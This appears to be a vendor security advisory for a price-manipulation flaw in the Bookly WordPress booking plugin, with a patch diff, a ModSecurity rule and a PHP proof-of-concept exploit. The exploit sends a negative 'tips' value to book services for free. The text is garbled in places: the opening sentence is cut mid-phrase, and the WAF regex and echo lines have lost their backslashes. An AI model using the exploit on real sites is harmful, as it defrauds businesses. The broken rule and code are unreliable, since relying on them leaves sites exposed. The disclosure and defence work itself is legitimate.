Atomic Edge analysis of CVE-2026-2519: An unauthenticated price manipulation vulnerability in the Bookly plugin (versions tips = $tips;`.
Exploitation: An unauthenticated attacker crafts a POST request to the plugin’s AJAX handler (likely `wp-admin/admin-ajax.php` with action `bookly_update_cart` or similar) and includes a negative number in the `tips` parameter, e.g., `tips=-1000`. The plugin calculates the total price as `cart_total + tips`, resulting in a zero or negative total. The attacker can then complete the booking with zero payment.
Patch Analysis: The patch removes `’tips’` from the `$properties` array so it is no longer blindly assigned in `fillData()`. Instead, a dedicated handler is added within `fillData()` that calls `setTips( $value )` for the ‘tips’ key. The `setTips()` method now sanitizes the input using `max(0, (float) $tips)`, clamping the value to zero or higher. This prevents negative or excessively low values from reducing the total price.
Impact: An unauthenticated attacker can book appointments with a zero total price by manipulating the tips field. This can result in financial loss for the business owner, as services that should be paid for are obtained for free. The vulnerability requires no authentication and no special privileges, making it easily exploitable.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/bookly-responsive-appointment-booking-tool/lib/UserBookingData.php
+++ b/bookly-responsive-appointment-booking-tool/lib/UserBookingData.php
@@ -144,7 +144,6 @@
// Step payment
'coupon_code',
'gift_code',
- 'tips',
'deposit_full',
// Cart item keys being edited
'edit_cart_keys',
@@ -361,7 +360,9 @@
public function fillData( array $data )
{
foreach ( $data as $name => $value ) {
- if ( in_array( $name, $this->properties ) ) {
+ if ( $name === 'tips' ) {
+ $this->setTips( $value );
+ } elseif ( in_array( $name, $this->properties ) ) {
$this->{$name} = $value;
} elseif ( $name == 'chain' ) {
$chain_items = $this->chain->getItems();
@@ -1898,7 +1899,7 @@
*/
public function setTips( $tips )
{
- $this->tips = $tips;
+ $this->tips = max( 0, (float) $tips );
return $this;
}
--- a/bookly-responsive-appointment-booking-tool/main.php
+++ b/bookly-responsive-appointment-booking-tool/main.php
@@ -3,7 +3,7 @@
Plugin Name: Bookly
Plugin URI: https://www.booking-wp-plugin.com/?utm_source=bookly_admin&utm_medium=plugins_page&utm_campaign=plugins_page
Description: Bookly Plugin - is a great easy-to-use and easy-to-manage booking tool for service providers who think about their customers. The plugin supports a wide range of services provided by business and individuals who offer reservations through websites. Set up any reservation quickly, pleasantly and easily with Bookly!
-Version: 27.0
+Version: 27.1
Author: Nota-Info
Author URI: https://www.booking-wp-plugin.com/?utm_source=bookly_admin&utm_medium=plugins_page&utm_campaign=plugins_page
Text Domain: bookly
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-2519
# Block unauthenticated requests to Bookly AJAX endpoints that include a negative 'tips' parameter
SecRule REQUEST_URI "@contains /wp-admin/admin-ajax.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-2519 Bookly Price Manipulation via tips',severity:'CRITICAL',tag:'CVE-2026-2519'"
SecRule ARGS_POST:action "@rx ^bookly_"
"chain"
SecRule ARGS_POST:tips "@rx ^-d+"
"t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2519 - Online Scheduling and Appointment Booking System – Bookly <= 27.0 - Unauthenticated Price Manipulation via 'tips'
$target_url = 'http://example.com'; // Change to target WordPress URL
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Step 1: Initialize booking session and add a service to cart
// (This step is site-specific; we simulate a basic AJAX request)
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $ajax_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'action' => 'bookly_update_cart', // Example AJAX action; adjust based on actual plugin hooks
'chain' => json_encode([
['service_id' => 1, 'number_of_persons' => 1, 'appointment_date' => '2026-01-15', 'appointment_time' => '10:00']
]),
'tips' => '-999'
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => '/tmp/bookly_cookies.txt',
CURLOPT_COOKIEFILE => '/tmp/bookly_cookies.txt',
CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded; charset=UTF-8']
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Status: $http_coden";
echo "Response: " . substr($response, 0, 500) . "n";
// Step 2: Attempt to complete booking; the cart now has total reduced by -999
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $ajax_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'action' => 'bookly_complete_booking',
// Additional required fields for completion (customer data, etc.) omitted for brevity
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEFILE => '/tmp/bookly_cookies.txt',
CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded; charset=UTF-8']
]);
$response = curl_exec($ch);
curl_close($ch);
echo "Final Response: " . substr($response, 0, 500) . "n";